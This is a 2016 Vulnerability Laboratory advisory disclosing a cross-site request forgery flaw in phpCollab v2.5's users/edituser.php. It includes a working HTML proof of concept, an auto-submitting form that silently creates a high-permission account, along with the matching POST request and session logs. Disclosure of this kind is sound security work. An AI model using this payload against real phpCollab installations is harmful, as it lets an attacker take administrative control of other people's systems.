Document Title:
===============
phpCollab v2.5 CMS - Privilege Escalate CSRF Vulnerability
References (Source):
====================
http://www.vulnerability-lab.com/get_content.php?id=1911
Release Date:
=============
2016-08-17
Vulnerability Laboratory ID (VL-ID):
====================================
1911
Common Vulnerability Scoring System:
====================================
3.3
Product & Service Introduction:
===============================
phpCollab is an open source internet-enabled system for use in projects that require collaboration over the internet. Those organizations,
such as consulting firms, that rely on a division between firm-side and client-side information will benefit most from use of phpCollab.
Abstract Advisory Information:
==============================
An independent vulnerability laboratory researcher discovered a client-side cross site request forgery vulnerability in the phpCollab v2.5 content management system.
Vulnerability Disclosure Timeline:
==================================
2016-08-17: Public Disclosure (Vulnerability Laboratory)
Discovery Status:
=================
Published
Affected Product(s):
====================
Exploitation Technique:
=======================
Remote
Severity Level:
===============
Medium
Technical Details & Description:
================================
A cross site request forgery vulnerability has been discovered in the official phpCollab v2.5 content management system.
In the absence of security token an attacker could execute arbitrary code in the administrator's browser to have a privileged
access. The vulnerability is located in the edituser.php file in the ./users/ path.
Request Method(s):
[+] POST
Vulnerable Module(s):
[+] ./phpcollab/users/
Vulnerable File(s):
[+] edituser.php
Vulnerable Parameter(s):
[+] id
Proof of Concept (PoC):
=======================
Cross site request forgery web vulnerability can be exploited by malicious web application without privileged user account and without user interaction.
To demonstrate safety or reproduce csrf web vulnerability information and follow the steps below to continue provided.
PoC: CSRF Exploitation
<html>
<form accept-charset="UNKNOWN" method="POST" action="http://phpcollab.localhost:8080/phpcollab/users/edituser.php?id=&action=add&PHPSESSID=coflo6ves1ac5e177kf26mg7l7" name="ecDForm"/>
<input type='hidden' name="un" value="VulnLabs">
<input type='hidden' name='fn' value="ZwX" />
<input type='hidden' name='em' value="test@live.fr"/>
<input type='hidden' name='pw' value="123123" />
<input type='hidden' name='pwa' value="123123" />
<input type='radio' name='perm' value='1' />
<input type='radio' name='perm' value='2' />
<input type='radio' name='perm' value='3' />
<input type='radio' name='perm' value='4' />
<input type='radio' name='perm' value='5' checked />
<tr class='odd'><td valign='top' class='leftvalue'> </td><td><input type='SUBMIT' value='Sauvegarder' /> </td></tr>
<script>document.forms[0].submit()</script>
</form>
</html>
POST Method
[+] un=VulnLabs&fn=ZwX&em=test%40live.fr&pw=123123&pwa=123123&perm=5
--- PoC Session Logs ---
Status: 200 [OK]
Host: phpcollab.localhost:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:48.0) Gecko/20100101 Firefox/48.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: fr,fr-FR;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Cookie: __gads=ID=07968e6b89cfb5e9:T=1471277130:S=ALNI_Mb360EnbieGeQ6j0qksVtqioxOo6g; __utma=87180614.471852358.1471277221.1471289573.1471311800.4;
__utmc=87180614; __utmz=87180614.1471311800.4.4.utmcsr=demo.opensourcecms.com|utmccn=(referral)|utmcmd=referral|utmcct=/phpcollab/general/login.php;
PHPSESSID=eo2nfc7bqe68eugsgd7h0ehfh4; _pk_id.2.bb5e=83e7be2d899ec7fc.1471277247.4.1471313737.1471311796.;
_pk_ref.2.bb5e=%5B%22%22%2C%22%22%2C1471311796%2C%22http%3A%2F%2Fwww.opensourcecms.com%2Fdemo%2F2%2F336%2FphpCollab%22%5D;
wbTh=e; xwbR=e; _pk_ses.2.bb5e=*; __utmb=87180614.40.10.1471311800; __utmt=1
Connection: keep-alive
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 62
Security Risk:
==============
The security risk of the remote cross site request forgery vulnerability in the phpcollab application is estimated as medium. (CVSS 3.3)
Credits & Authors:
==================
ZwX - ( http://zwx.fr ) [ http://www.vulnerability-lab.com/show.php?user=ZwX ]
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=========================
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